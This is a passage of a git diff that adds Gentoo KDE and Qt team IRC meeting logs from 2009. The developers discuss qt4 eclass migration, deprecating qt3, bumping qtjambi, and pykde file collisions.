+00:51 (@hwoarang) ok so we re ok on qt libe ebuilds
+00:52 (@hwoarang) *live
+00:52 (+wired) we should discuss what will happen to the RDEPEND in qt4-edge-build
+00:52 (@hwoarang) yes
+00:52 (+wired) are we moving that in tree?
+00:52 (@yngwin) is it tested enough?
+00:52 (+wired) today tampakrap had yet another issue
+00:52 -!- UT2K3 [n=UT2K3@212.86.209.81] <- quit [Remote closed the connection]
+00:53 (@hwoarang) what about the paludis support
+00:53 (+wired) yngwin: so far it seems safe on my tests
+00:53 (+wired) paludis doesn't like it but thats only because ciaran doesn't want to implement blocks the same way portage does
+00:53 (@yngwin) paludis seems to be broken at this point
+00:53 -!- Polynomial-C [n=Poly-C@gentoo/developer/Polynomial-C] joins -> #gentoo-kde
+00:53 (@bonsaikitten) hwoarang: why do we care?
+00:53 (@hwoarang) cause i cant stand the trolls tomorrow
+00:54 -!- bschindl [n=quassel@77-56-156-71.dclient.hispeed.ch] <- quit [Read error: 104 (Connection reset by peer)]
+00:54 (+wired) no trolls
+00:54 (@hwoarang) if you know what i mean
+00:54 (+wired) actually
+00:54 (@bonsaikitten) so ignore them
+00:54 (@bonsaikitten) "WORKSFORME" is a great defense ;)
+00:54 (+wired) this is one of the few cases where he didn't complain
+00:54 (@hwoarang) in this case we can proceed
+00:54 (+wired) i think the way this works is valid and paludis should adapt if it wants to work
+00:54 (@hwoarang) the solution is pretty clean and easily revertable
+00:55 (@hwoarang) yngwin: what do you think
+00:55 (@yngwin) i dont think there is a better solution
+00:55 -!- termite47384 [n=me@cpe-066-057-082-106.nc.res.rr.com] joins -> #gentoo-kde
+00:55 -!- mode/#gentoo-kde [+v termite47384] by ChanServ
+00:55 (@hwoarang) ok then we can proceed
+00:55 (@yngwin) if we talk about eclass functionality anyway
+00:55 (+wired) ok then it should go to qt4-build along with anything else we decide to migrate
+00:55 (@yngwin) what about other stuff we want to move to tree
+00:56 (@hwoarang) well
+00:56 (@hwoarang) qt4-build can use -platform as discussed before
+00:56 (@hwoarang) but that should take a while
+00:56 (@yngwin) yes
+00:56 (@hwoarang) we need to invite arches on that bug
+00:56 (@hwoarang) i have nothing else to propose for qt4-build
+00:57 (@hwoarang) i think this eclass has been reviewed recently
+00:57 (@hwoarang) just before pushing qt-4.5.0_rc1
+00:57 (@yngwin) we need to remove custom-cxxflags when 4.5.2 goes in
+00:57 (@hwoarang) yes
+00:58 (@hwoarang) this use flag has been dropped on overlay. Works ok .
+00:58 (@hwoarang) we are safe to drop it when 4.5.2 arrives
+00:58 (@yngwin) good, let's not forget
+00:58  -> hwoarang noted
+00:58 (@yngwin) what about qt4.eclass
+00:58 (@hwoarang) Pesa: here we are
+00:58 (@hwoarang) :D
+00:59 (+Pesa) heh
+00:59 (@yngwin) we wanted qt4-edge -> qt4-ng or something?
+00:59 (@hwoarang) i think that you pushed a default src_configure and src_install in the past
+00:59 (@hwoarang) but you revert it
+00:59 (@hwoarang) why?
+00:59 (@yngwin) we had to
+00:59 (@hwoarang) brakeages?
+00:59 (@yngwin) it broke stuff all over the place
+00:59 (@hwoarang) right
+01:00 (@hwoarang) i cant understand how
+01:00 (@hwoarang) since src_install is always overriden
+01:00 (@yngwin) so i do want that back in, but we need it in a separate eclass, so existing ebuilds can be migrated slowly
+01:00 (@hwoarang) but lets play it safe
+01:00 (@hwoarang) ok
+01:00 (+Pesa) isn't it possible to have a drop-in replacement?
+01:00 (@hwoarang) meaning?
+01:01 -!- smorg [n=quassel@75-168-239-242.mpls.qwest.net] <- quit ["http://quassel-irc.org - Chat comfortably. Anywhere."]
+01:01 (+Pesa) a revised qt4.eclass, but maintaining backward compatibility
+01:01 (@yngwin) no, because we require eapi-2 and have new default functionality such as src_configure in there
+01:01 (@hwoarang) we cant
+01:01 -!- smorg [n=quassel@75-168-239-242.mpls.qwest.net] joins -> #gentoo-kde
+01:01 (@hwoarang) how about maintain eqmake4 on qt4.eclass and inherit that eclass on the new one?
+01:02 (@hwoarang) just to avoid mantaining 2 eqmake4
+01:02 (@yngwin) hmm, i dont like the added level of complexity
+01:02 (+Pesa) i agree with yngwin
+01:03  -> hwoarang is thinking
+01:03 (+spatz) is qt4-edge to be merged as-is? at least the translations stuff seems broken on many packages and fixing after merge can be problematic
+01:03 (+Pesa) it'd be better to have a eqmake4.eclass inherited by both the new and the old qt4 eclasses
+01:03 (@hwoarang) the translations part is experimental
+01:04 (+Pesa) spatz: i don't think so
+01:04 (@hwoarang) yngwin:  cant we open a tracker
+01:04 (@hwoarang) about the brakeages?
+01:04 (+spatz) Pesa: which part?
+01:04 (@yngwin) what breakages?
+01:04 (@hwoarang) which are caused by the new eclass?
+01:05 (@hwoarang) in case we push it as qt4.eclass
+01:05 (+Pesa) spatz: well, src_configure() needs improvements imho
+01:05 (@yngwin) only if we dont touch the original eclass, we can't break stable stuff
+01:06 (@hwoarang) introducing the default src_configure and src_install will brake some packages
+01:06 (@hwoarang) we can track them on bugzilla
+01:06 (@hwoarang) on a special tracker
+01:06 (@yngwin) what i propose is to add the new eclass, and mark the old one as deprecated and make a tracker for migration to new eclass
+01:06 (+Pesa) yeah
+01:06 (@tampakrap) ^^nice
+01:06 (+wired) yngwin++
+01:07 (+wired) qt4-v2.eclass?
+01:07 (@hwoarang) nah
+01:07 (@hwoarang) we need a pretty cool name
+01:07 (@hwoarang) :P
+01:07 (@yngwin) we had qt4-ng in mind
+01:07 (@hwoarang) -ng sounds ok
+01:07 (+wired) keep in mind one day we might have another big-bad-ass revision
+01:07 (+wired) lets stick a number in there
+01:07 (@yngwin) yeah, so i'm open for suggestions
+01:07 (@tampakrap) qt4-r1.eclass?
+01:07 (+wired) -r1 isn't bad either
+01:08 (@yngwin) inherit qt4-r1
+01:08 (@hwoarang) nah
+01:08 (@hwoarang) ugly
+01:08 (@hwoarang) :P
+01:08 (@yngwin) i'm not sure i like that
+01:08 (+wired) i prefer qt4-v2
+01:08 (+wired) inherit qt4-v2
+01:08 (kage-ookami) qt4-2nd
+01:08 (@yngwin) qt4-edition2009
+01:08 (@hwoarang) ..
+01:08 (@yngwin) just brainstorming
+01:08 (+spatz) qt4-home_premium
+01:08 (@tampakrap) qt4_pre20090521
+01:08 (+wired) lol
+01:08 (@yngwin) well, that's bikeshedding, can be done tomorrow
+01:09 (+wired) qt4-try2
+01:09 (+wired) :D
+01:09 (@hwoarang) ok
+01:09 (@tampakrap) qt4_thepreviousonewasFAIL
+01:09 (@yngwin) but we agree on principle?
+01:09 (@tampakrap) yes
+01:09 (+wired) i think its the best approach yeah
+01:09 (@hwoarang) ok
+01:09 -!- joost_op [n=joost@86.92.194.222] <- quit ["Leaving"]
+01:09 (+Pesa) i do, if my opinion counts
+01:09 (@yngwin) it does :)
+01:09 (@hwoarang) also Pesa and me are working on eqmake4 patch, to automatically guesses the project name so we can have a more generic src_configure
+01:09 (@yngwin) translation stuff still needs work?
+01:10 (@hwoarang) yes
+01:10 (+Pesa) can be made more generic i think
+01:10 (@hwoarang) i have two ebuilds that I still want to migrate on that
+01:10 (@yngwin) ok, so lets work on it in overlay, and see in a few weeks time or so
+01:10 (@hwoarang) Pesa: i ll add the second patch, then feel free to play  :)
+01:11 (@yngwin) anything about other packages in overlay?
+01:11 (@hwoarang) the current status seems ok
+01:11 (+Pesa) hwoarang: with '.' instead of ${S} though!
+01:11 (@tampakrap) i can take care of live ones
+01:11 (@hwoarang) yes :)
+01:11 (@hwoarang) i ve moved many packages on tree
+01:11 (@hwoarang) and kept the live ones
+01:11 (+Pesa) fine then
+01:12 (@yngwin) what about qtjambi
+01:12 (@yngwin) shouldnt that go to tree as well?
+01:12 (@yngwin) 4.5.0 that is
+01:12 (+Pesa) i added 4.5.0_p1 to the overlay
+01:12 (@hwoarang) does it work?
+01:12 (@hwoarang) or it needs further testing
+01:12 (+Pesa) worksforme :D
+01:12 (@yngwin) it's java, how would i know if it works?
+01:12 (+wired) lol
+01:12 (@yngwin) :p
+01:13 (+wired) yngwin: actually the correct answer would be
+01:13 (@hwoarang) so what can we do with it
+01:13 (+wired) its java, ofcourse not
+01:13 (+Pesa) seriously, it has huge improvements over portage version
+01:13 (+wired) :D
+01:13 (@yngwin) who maintains it in portage again
+01:13 -!- bschindler [n=quassel@77-56-156-71.dclient.hispeed.ch] <- quit [Read error: 110 (Connection timed out)]
+01:14 (@hwoarang) !meta -v qtjambi
+01:14 (Willikins) hwoarang: Package: dev-java/qtjambi Herd: qt, java Maintainer: qt, java
+01:14 (@hwoarang) we do
+01:14 (@hwoarang) :P
+01:14 (+wired) lolz
+01:14 (@dagger) lol ;)
+01:14 (@yngwin) ali_bush it seems from changelog
+01:15 (@yngwin) ok, maybe confer with him
+01:15  -> hwoarang noted
+01:15 (@yngwin) then we can bump
+01:15 (@hwoarang) i ll poke him as long as he is available
+01:15 (@hwoarang) *as soon as
+01:15 (@hwoarang) stupid beer
+01:16 (@yngwin) heh
+01:16 (@jmbsvicetto) ok, I really need to leave now. See you later
+01:16 -!- Guest36992 [n=red@lounge.datux.nl] <- quit [Read error: 60 (Operation timed out)]
+01:16 (@hwoarang) bye bye jmbsvicetto
+01:16 (@yngwin) ok, see you jmbsvicetto
+01:16 -!- sean345 [n=quassel@c-76-105-5-254.hsd1.ca.comcast.net] joins -> #gentoo-kde
+01:16 (+wired) bye jmbsvicetto
+01:16 (@hwoarang) ok i think we are done with the overlay
+01:16 (@yngwin) on to last point?
+01:16 (+Pesa) bye jmbsvicetto
+01:16 (ali_bush_work) you talking to me :)
+01:16 (+spatz) have fun :)
+01:16 (@hwoarang) ah
+01:16 (@hwoarang) there he is
+01:16 (@yngwin) ali_bush_work: yes, we have qtjambi-4.5.0_p1 in overlay
+01:17 (ali_bush_work) cool.  does it work
+01:17 -!- Guest36992 [n=red@lounge.datux.nl] joins -> #gentoo-kde
+01:17 (@hwoarang) lol :)
+01:17 (@yngwin) [00:12:52] <yngwin> it's java, how would i know if it works?
+01:17 (@yngwin) ;)
+01:17 (@yngwin) but Pesa says it does
+01:18 (ali_bush_work) i'll put it on my todo list :)
+01:18 -!- anselmolsm [n=anselmo@200.184.118.130] <- quit [Remote closed the connection]
+01:18 (@yngwin) alright
+01:18 (ali_bush_work) ETC next century
+01:18 (@hwoarang) goodie
+01:18 (@hwoarang) no rush :P
+01:18 (+Pesa) ali_bush_work: yes, demos and examples work, and also qtdesigner integration
+01:18 (@yngwin) we can bump, and let you deal with the bugs :p
+01:19 (@yngwin) but if Pesa says it works, i trust him
+01:19 (+Pesa) ali_bush_work: and there are tons of other improvements
+01:19 (ali_bush_work) ok cool.  I will qa the ebuild just too make sure if follows our standards
+01:20 (@hwoarang) sweet
+01:20 (+Pesa) thanks
+01:20 -!- geo27 [n=quassel@lns-bzn-56-82-255-250-237.adsl.proxad.net] <- quit [No route to host]
+01:20 (@hwoarang) ok last topic
+01:20 (@hwoarang) leader? :/
+01:20 (@yngwin) do we need an elected lead?
+01:20 (@hwoarang) what for
+01:20 (@yngwin) now that we're a fast growing team
+01:21 (@tampakrap) jmbsvicetto is the project leader, scarabeus is KDE HT Lead and yngwin is Qt HT lead
+01:21 (@yngwin) well, i thought i would put it before you
+01:21 (@tampakrap) i think that is enough
+01:21 (@hwoarang) i cant see the reason :)
+01:21 (@yngwin) because i just assumed the position, when no-one was looking
+01:21 (@hwoarang) i am pretty happy with the current situation
+01:22 (@hwoarang) maybe we should discuss it again in July
+01:22 (@yngwin) but if you guys are happy with it
+01:22 (@hwoarang) before we leave
+01:22 (kage-ookami) yngwin: sometimes it takes a person to just assume the position
+01:22 (@yngwin) i know
+01:23 (@hwoarang) so the answer is NO
+01:23 (+spatz) if it works don't fix it
+01:23 (@hwoarang) you ll stay the leader either you like it or not
+01:23 (@yngwin) ok
+01:23 (@hwoarang) </end_of_topic>
+01:23 (+wired) yngwin QT leader woot =]
+01:23 (@scarabeus) :D
+01:23 (@yngwin) </end_of_meeting>
+01:23 (@scarabeus) okey
+01:23 (@scarabeus) :D
+01:23 (@hwoarang) -------------------
+01:23 (+Pesa) :D
+01:23 (@hwoarang) omg
+01:24 (@hwoarang) 3:30 hours
+01:24 (@hwoarang) jesus!
+01:24 (@yngwin) holy mother
+01:24 (+wired) closer to 3 hours actually
+01:24 (+spatz) back to homework :/
+01:24 (+wired) but still!
+01:24  -> yngwin hands out more cookies
+01:24 (+wired) scarabeus: you want log?
+01:24 (@yngwin) wired: CC me as well please
+01:24 (@tampakrap) does it need rendering?
+01:25 (@yngwin) i'll do summary for Qt part
+01:25 (@hwoarang) ohhhhhhhhhhhhhh
+01:25 (@hwoarang) btw
+01:25 (@hwoarang) for those who havent noticed
+01:25 -!- tampakrap topic of #gentoo-kde ->> Gentoo KDE | KDE 4 guide: http://tinyurl.com/4n47v4 | p.keywords: http://xrl.us/kdekeyw | Overlays: kde-testing, qting-edge | Want to help? http://tinyurl.com/gktodo | Bugs: http://tinyurl.com/kdebugs1 http://xrl.us/qtbugs | Useful links: http://userbase.kde.org/ http://ktown.kde.org/~dirk/dashboard | Want to test KDE4 on a kvm? http://tinyurl.com/by7tv3 | KDE 4.2.87in kde-testing! | SitRep: SNAFU
+01:25 (@hwoarang) i ve wrote this guide http://www.gentoo.org/proj/en/desktop/kde/qt4-based-ebuild-howto.xml
+01:25 (@hwoarang) so any additions etc are welcomed
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090618.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090618.txt
new file mode 100644
index 00000000..96f0650d
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090618.txt
@@ -0,0 +1,1064 @@
+Note: times are UTC+2
+
+[20:59.03] *** Topic is 'Gentoo KDE | 18.6. @ 19:00 UTC = Meeting [http://dev.gentoo.org/~scarabeus/0906meeting_topics.txt] | KDE 4 guide: http://tinyurl.com/4n47v4 | p.keywords: http://xrl.us/kdekeyw | Overlays: kde-testing, qting-edge | Want to help? http://tinyurl.com/gktodo | Bugs: http://tinyurl.com/kdebugs1 http://xrl.us/qtbugs | Useful links: http://userbase.kde.org/ http://ktown.kde.org/~dirk/dashboard | Want to test KDE4 on a kvm? http://tinyurl.com/by7tv3 '
+[20:59.03] *** Set by scarabeus on Thu Jun 18 20:40:41
+[20:59.04] <Pesa> but if you listen, we'll have to kill you
+[20:59.07] <ssuominen> it's custom the ops get to kick everyone except club members out when the meeting starts
+[20:59.08] <Pesa> :P
+[20:59.11] <ssuominen> be ready..
+[20:59.33] <spatz> the meeting starts with a customery kick-banning
+[20:59.54] *** BCMM (n=bcmm@unaffiliated/bcmm) has joined #gentoo-kde
+[21:00.01] <spatz> and when the channel's empty, the discussion can begin
+[21:00.35] <scarabeus> meeting starts ;]
+[21:00.39] <scarabeus> !herd kde
+[21:00.41] <Willikins> (kde) alexxy, carlo, cryos, dagger, deathwing00, jmbsvicetto, keytoaster, patrick, scarabeus, tampakrap, tgurr
+[21:00.42] <scarabeus> !herd qt
+[21:00.42] <Willikins> scarabeus: (qt) carlo, hwoarang, tampakrap, yngwin
+[21:00.44] <scarabeus> rollcall plz
+[21:00.48] <yngwin> present
+[21:01.16] <scarabeus> tampakrap will be one hour late so his topic is last on the list (FTR)
+[21:01.32] <hwoarang> he might not make it
+[21:01.35] <yngwin> carlo is absent as usual
+[21:01.36] <hwoarang> called me 3 hours ago
+[21:01.41] <hwoarang> hi btw
+[21:02.06] <ayoy> and hi from here :)
+[21:02.13] <hwoarang> haavardw: ping
+[21:02.17] <Pesa> hi hwoarang, yngwin, ayoy
+[21:02.20] *** scarabeus sets mode: +v ABCD
+[21:02.22] <haavardw> hwoarang: pong, I'm here -)
+[21:02.25] <hwoarang> goodie
+[21:02.33] <scarabeus> your recruits? ;]
+[21:02.34] <hwoarang> yngwin: ps, remember to set him up on qting-edge
+[21:02.34] <Pesa> and hi haavardw
+[21:02.41] <haavardw> hi all
+[21:02.46] <scarabeus> i wander one thing
+[21:02.50] <scarabeus> where the ... is the rest
+[21:02.58] <spatz> howdy
+[21:03.01] <hwoarang> aparently only qt is present
+[21:03.08] <yngwin> heh
+[21:03.21] <yngwin> ok, mask kde for removal; done
+[21:03.26] <scarabeus> :D
+[21:03.27] *** BCMM (n=bcmm@unaffiliated/bcmm) Quit (Remote closed the connection)
+[21:03.29] <hwoarang> you failed
+[21:03.29] <Pesa> LOL
+[21:03.31] <yngwin> :p
+[21:03.37] <Pesa> we'll rule the world
+[21:03.43] <hwoarang> meeting's over
+[21:03.43] <scarabeus> bonsaikitten: still arround i assume ;]
+[21:03.51] <yngwin> actually i'm on kde 4.2.4 presently
+[21:03.57] <hwoarang> woooooooooow
+[21:04.03] <hwoarang> big step
+[21:04.05] <yngwin> sabayon
+[21:04.07] * alexxy here
+[21:04.08] *** scarabeus sets mode: +v Sput
+[21:04.22] *** hwoarang sets mode: +v ayoy
+[21:04.24] *** scarabeus sets mode: +v lxnay|two
+[21:04.29] *** hwoarang sets mode: +v haavardw
+[21:04.42] *** hwoarang sets mode: +v Pesa
+[21:04.43] *** yngwin sets mode: +v hwoarang
+[21:04.51] <yngwin> ;)
+[21:05.04] * scarabeus gives them 5 minutes, then he will be seriously unhappy
+[21:05.11] <hwoarang> lol
+[21:05.41] <hwoarang> who do we miss?
+[21:05.43] <hwoarang> jorge?
+[21:05.46] <hwoarang> tampakrap_: is off
+[21:05.51] <hwoarang> bonsaikitten: slacking
+[21:05.54] <yngwin> !herd kde
+[21:05.56] <Willikins> yngwin: (kde) alexxy, carlo, cryos, dagger, deathwing00, jmbsvicetto, keytoaster, patrick, scarabeus, tampakrap, tgurr
+[21:05.57] <hwoarang> so pretty much everybody is here
+[21:05.58] <reavertm> I almost forgot
+[21:06.03] <scarabeus> dagger
+[21:06.05] <scarabeus> reavertm: hello
+[21:06.11] <reavertm> hi scarabeus
+[21:07.03] <scarabeus> hwoarang: well specialy when we vote on first topic it would be damn nice to have majority of kde devs here
+[21:07.17] <hwoarang> where is the agenda
+[21:07.21] <scarabeus> topic
+[21:07.27] <yngwin> so for those who hadnt noticed yet, we have two new qt recruits present: ayoy and haavardw
+[21:07.36] *** Skim[ihz] (n=skim@skim.static.corbina.ru) has joined #gentoo-kde
+[21:07.40] <scarabeus> yngwin: voice them
+[21:07.50] <yngwin> hwoarang already did
+[21:07.51] <spatz> they are voiced
+[21:07.56] <scarabeus> ah
+[21:07.57] <scarabeus> :]
+[21:07.58] <hwoarang> of course
+[21:07.59] <scarabeus> didnt look :]
+[21:08.00] * haavardw can talk
+[21:08.04] <hwoarang> bla bla
+[21:08.10] <scarabeus> ayoy, haavardw: then welcome guys :]
+[21:08.17] <ayoy> thank you!
+[21:08.20] <ayoy> :)
+[21:08.24] <haavardw> thanks -)
+[21:08.33] <reavertm> http://archives.gentoo.org/gentoo-desktop/msg_1ef792a71171a444d60ecb870a27e9f3.xml <- agenda
+[21:08.41] <hwoarang> http://dev.gentoo.org/~scarabeus/0906meeting_topics.txt
+[21:08.45] <hwoarang> just for the record
+[21:09.02] <scarabeus> yes
+[21:09.09] <hwoarang> scarabeus: we can change the topics order
+[21:09.21] <scarabeus> hwoarang: yes we can
+[21:09.23] <hwoarang> until kde devs are here
+[21:09.34] <scarabeus> but kde3 is last or at least until tampakrap show up
+[21:09.35] <hwoarang> we can start with qt topics if you like
+[21:09.49] <hwoarang> ok scarabeus . but as I said he mgiht not make it
+[21:09.49] <hwoarang> :/
+[21:10.04] <scarabeus> then wired will be his replacement
+[21:10.08] <hwoarang> sweet
+[21:10.11] <hwoarang> where is he
+[21:10.11] <scarabeus> he hopefully tracked him
+[21:10.17] <hwoarang> wired: stupid boy
+[21:10.29] <hwoarang> ping pong
+[21:10.31] <spatz> i foresee that they blame the late announcement :p
+[21:10.37] <wired> im here
+[21:10.39] <hwoarang> excuses
+[21:10.41] <wired> for some weird reason
+[21:10.43] <wired> :p
+[21:10.53] <hwoarang> ok shall we start with qt stuff then?
+[21:11.11] <scarabeus> ok lets start with the qt3 apps first
+[21:11.14] <reavertm> I'm fine with this
+[21:11.18] <scarabeus> and ftr i am really not happy
+[21:11.34] <hwoarang> slackers
+[21:11.38] <hwoarang> ok what about the qt3 apps?
+[21:11.49] <reavertm> btw, who's going to vote on kdeprefix?
+[21:11.55] <hwoarang> kde project devs
+[21:11.58] <hwoarang> i guess
+[21:11.59] <scarabeus> reavertm: devs, including you
+[21:12.09] * alexxy
+[21:12.13] <scarabeus> reavertm: because you are one of few who can work on it
+[21:12.30] * alexxy gonna vote for masking it
+[21:12.33] <reavertm> well, last time it was not the case :P
+[21:12.36] <scarabeus> hwoarang: so lets start with second topic now
+[21:12.42] <hwoarang> ok
+[21:12.53] <hwoarang> yngwin: ping pong
+[21:13.09] <yngwin> kde3 is scheduled to be removed early next year, right?
+[21:13.15] <scarabeus> yes
+[21:13.20] <scarabeus> to some special overaly
+[21:13.25] <scarabeus> so lets create one common overlay
+[21:13.26] <yngwin> and kde3 is the biggest consumer of qt3
+[21:13.29] <scarabeus> kde3 and qt3 crap
+[21:13.36] <scarabeus> instead of just ripping it off
+[21:13.40] <yngwin> i agree
+[21:13.44] <scarabeus> and users can maintain themselves if they want
+[21:13.44] <hwoarang> fine by me
+[21:13.48] <scarabeus> otherwise we can throw it
+[21:13.59] <reavertm> I wouldn't mind creating special overlay for qt4 and kde4 crap :P - to keep them away from main tree "{
+[21:14.11] <hwoarang> oooh flamebite
+[21:14.13] <spatz> what about kde3/qt3 apps not yet ported to kde4/qt4?
+[21:14.14] <scarabeus> ok whom would update the kde team page reffering to the policy
+[21:14.24] <scarabeus> spatz: problematic, but hell for maintaining
+[21:14.25] <hwoarang> spatz: we dont care :)
+[21:14.34] <scarabeus> yngwin: hwoarang ^
+[21:14.38] <scarabeus> the update... :]
+[21:14.40] <spatz> but some are widely used, like k3b
+[21:14.42] <hwoarang> scarabeus: do we need to update it?
+[21:14.47] <hwoarang> for what
+[21:14.58] <spatz> by users
+[21:15.06] <tanderson> ping :)
+[21:15.08] <reavertm> some of them fail to build with libpcre[-static-libs]
+[21:15.09] <yngwin> i would like to propose that we officially discourage further usage of qt3: dont introduce new qt3 based apps, prefer qt4 over qt3
+[21:15.11] <Pesa> i hope k3b will see a stable release before the end of this year
+[21:15.12] <scarabeus> hwoarang: just that other knows
+[21:15.17] <hwoarang> spatz: k3b has already a kde4 version
+[21:15.19] <hwoarang> _alpha
+[21:15.28] <scarabeus> yngwin: good idea
+[21:15.32] <hwoarang> yngwin: +1
+[21:15.37] <scarabeus> spatz: in 6 months ;]
+[21:15.49] <hwoarang> tanderson: ?
+[21:15.57] <yngwin> i think qt3 useflag is enabled by desktop profile? that should be removed
+[21:16.18] <scarabeus> also good idea, but since when
+[21:16.21] <tanderson> Any objections to me patching a kde 3 ebuild with fixes for the .desktop file ?
+[21:16.27] <scarabeus> tanderson: enjoy
+[21:16.28] <tanderson> or JustDoIt ? :)
+[21:16.37] <scarabeus> tanderson: open kde.gentoo.org
+[21:16.42] <scarabeus> tanderson: search for CODE file
+[21:16.45] <scarabeus> tanderson: read it
+[21:16.48] <scarabeus> tanderson: answer is there
+[21:16.59] * bonsaikitten present
+[21:17.03] <scarabeus> yngwin: aka when we switch the discouraging of qt3 useflag
+[21:17.17] <scarabeus> it can be even now but apps will be gone in the feb of 2010
+[21:17.21] <yngwin> i'd say immediately
+[21:17.33] <hwoarang> still we need to make the transission smooth
+[21:17.38] <tanderson> scarabeus: aah ok
+[21:17.40] <hwoarang> i failed on spelling
+[21:17.41] <Skim[ihz]> hmmm
+[21:17.51] <tanderson> scarabeus: oh, did I interrupt your meeting?
+[21:17.52] <hwoarang> so as yngwin said , immediately
+[21:17.57] <scarabeus> tanderson: smart boy
+[21:18.03] *** dipogon (n=dipogon@84.249.84.164) Quit (Remote closed the connection)
+[21:18.09] <scarabeus> tanderson: ;]
+[21:18.12] <Pesa> qt3 is enabled in /usr/portage/profiles/targets/desktop/make.defaults
+[21:18.13] <tanderson> scarabeus: I'm sorry, I'd have taken it to a query if I had known
+[21:18.22] <scarabeus> tanderson: no prob :]
+[21:18.56] <scarabeus> hwoarang: ok since you two agree just do it, i wrote it in summary :]
+[21:19.02] <hwoarang> ok
+[21:19.09] <yngwin> afaik profile changes need announcement/discussion on dev ml, so i'll draft up something
+[21:19.18] <hwoarang> thanks yngwin
+[21:19.34] <Skim[ihz]> it is strange, but I can't add my own language in system settings... l10n is installed, kde installed without "kdeprefix", some software is translated, but I still can't add my own language.... ;(
+[21:19.40] <hwoarang> Skim[ihz]: meeting time
+[21:19.58] * scarabeus consider +m ;]
+[21:20.03] <Skim[ihz]> -_-
+[21:20.07] <scarabeus> we can voice pple if they query us
+[21:20.09] <Skim[ihz]> sorry
+[21:20.10] <wired> stop considering
+[21:20.17] <wired> just do it already
+[21:20.18] *** scarabeus sets mode: +m
+[21:20.20] <wired> :D
+[21:20.22] <scarabeus> should be done
+[21:20.25] <hwoarang> ok
+[21:20.33] <hwoarang> end of story
+[21:20.44] <hwoarang> scarabeus: moving forward?
+[21:20.48] <scarabeus> okey
+[21:20.51] <hwoarang> kde4 stabilization?
+[21:21.01] <scarabeus> bonsaikitten: patrick since you are here, can we talk about the pykde?
+[21:21.10] <bonsaikitten> we can
+[21:21.21] *** gengor (n=gengor@gentoo/developer/gengor) has left <type 'buffer'>
+[21:21.41] <spatz> you agreed to deprecate qt3 as of now, so i assume discussion on moving current packages to an overlay will be postponed?
+[21:21.42] <scarabeus> it is 5th topic for those whom wonder
+[21:21.50] <reavertm> scarabeus: voice tanderson
+[21:21.52] <scarabeus> spatz: yes
+[21:21.54] *** scarabeus sets mode: +v tanderson
+[21:22.32] <scarabeus> bonsaikitten: ok did you find any solution about the collisions in site-packages?
+[21:22.42] <bonsaikitten> not yet, but I haven't spent much time on it
+[21:22.54] <scarabeus> unprefixing of pykde is fine with us, but the issue is also in plasma-workspace now
+[21:22.58] <scarabeus> or plasma-addons not sure now
+[21:23.11] <bonsaikitten> either we allow to use a newer pykde with an older slotted kde (does that work?)
+[21:23.20] <reavertm> (with python USE flag only)
+[21:23.24] <bonsaikitten> or we try to move the pykde package to versioned directories
+[21:23.36] <reavertm> it's all depending on kdeprefix status
+[21:23.37] <bonsaikitten> but then packages trying to use it will most likely need some patching
+[21:23.59] <scarabeus> bonsaikitten: cant we somehow eselect correct site modules for what kde we start
+[21:24.01] <reavertm> (no kdeprefix - no pytkde issue)
+[21:24.20] *** pgega (n=pgega@77-99-66-168.cable.ubr01.tonb.blueyonder.co.uk) Quit (Client Quit)
+[21:24.22] <bonsaikitten> scarabeus: potentially yes, but might be very fragile
+[21:24.34] <yngwin> eselect is not the answer here
+[21:24.43] <scarabeus> and as reaver say, if we agree we can just mask kdeprefix flag, which will be voted
+[21:24.50] <scarabeus> because without this the kde cant be stabled
+[21:24.55] <scarabeus> the collision would piss users
+[21:24.56] <reavertm> anyway - either unslot or eselect - pykde4-9999 is likely to not work very well with kdelibs-4.2
+[21:24.57] <yngwin> someone still might want to run amarok1 in kde4 for example
+[21:25.22] *** haavardw (n=haavardw@cm-84.208.110.202.getinternet.no) Quit (Read error: 104 (Connection reset by peer))
+[21:25.23] <bonsaikitten> right, so we need versioned dirs in site-packages
+[21:25.31] <bonsaikitten> how many packages depend on pykde ?
+[21:25.40] <scarabeus> everything in kde with use python
+[21:25.49] <reavertm> yngwin: I don't see it relevant (amarok1)
+[21:25.58] <reavertm> (as it uses kdelibs3)
+[21:26.06] <yngwin> and pykde3
+[21:26.07] <bonsaikitten> I'm aware of marble plasma-workspace
+[21:26.10] <bonsaikitten> any others?
+[21:26.10] *** haavardw (n=haavardw@cm-84.208.110.202.getinternet.no) has joined #gentoo-kde
+[21:26.26] <reavertm> printing stuff
+[21:26.30] <reavertm> (upcoming in 4.3)
+[21:26.50] <reavertm> + guidance-power-manager (extragear)
+[21:27.01] <bonsaikitten> ok, tolerable amount to patch
+[21:27.19] *** pgega (n=pgega@77-99-66-168.cable.ubr01.tonb.blueyonder.co.uk) has joined #gentoo-kde
+[21:27.29] <reavertm> I don't worry about API differences here, rather ABI issues
+[21:27.34] *** scarabeus sets mode: +v haavardw
+[21:28.08] <bonsaikitten> reavertm: the only thing that will suffer is the detection by other packages afaict, so we will have to frickel them to accept the changes
+[21:28.22] <reavertm> besides nobody really tried yet mixing new pykde4 with 'old' apps (and we're preventing it so far)
+[21:28.22] <bonsaikitten> so if we have to tweak 5 packages that's an acceptable amount of work
+[21:28.30] *** Phlogi_ (n=quassel@236-60.77-83.cust.bluewin.ch) Quit (Read error: 60 (Operation timed out))
+[21:29.12] <reavertm> (I guess we don't plan to support older pykde4 with newer apps - so just SLOT deps would be dropped if any)
+[21:29.18] *** bertodsera (n=quasseul@95.133.248.44) has joined #gentoo-kde
+[21:29.45] <bonsaikitten> anyone willing to help?
+[21:29.50] <yngwin> maybe you should test backwards compatibility of newer pykde4 then, as that would prevent the need for patching
+[21:29.56] <reavertm> I did it partially in local branch
+[21:30.43] <jmbsvicetto> Hi
+[21:30.47] <wired> hey boss
+[21:30.49] <jmbsvicetto> I'm sorry for being late
+[21:31.16] <bonsaikitten> yngwin: right, that will be annoying to test :)
+[21:31.27] <scarabeus> bonsaikitten: so you and reaver will do it
+[21:31.43] *** Phlogi (n=quassel@10-175.0-85.cust.bluewin.ch) has joined #gentoo-kde
+[21:31.49] <scarabeus> ?
+[21:31.52] *** scarabeus sets mode: +v Phlogi
+[21:31.59] <bonsaikitten> *sigh* :)
+[21:32.06] <bonsaikitten> I'll try to have a look on the weekend
+[21:32.07] <scarabeus> i take it as yes :]
+[21:32.44] <scarabeus> ok
+[21:32.55] <scarabeus> anything else to this topic?
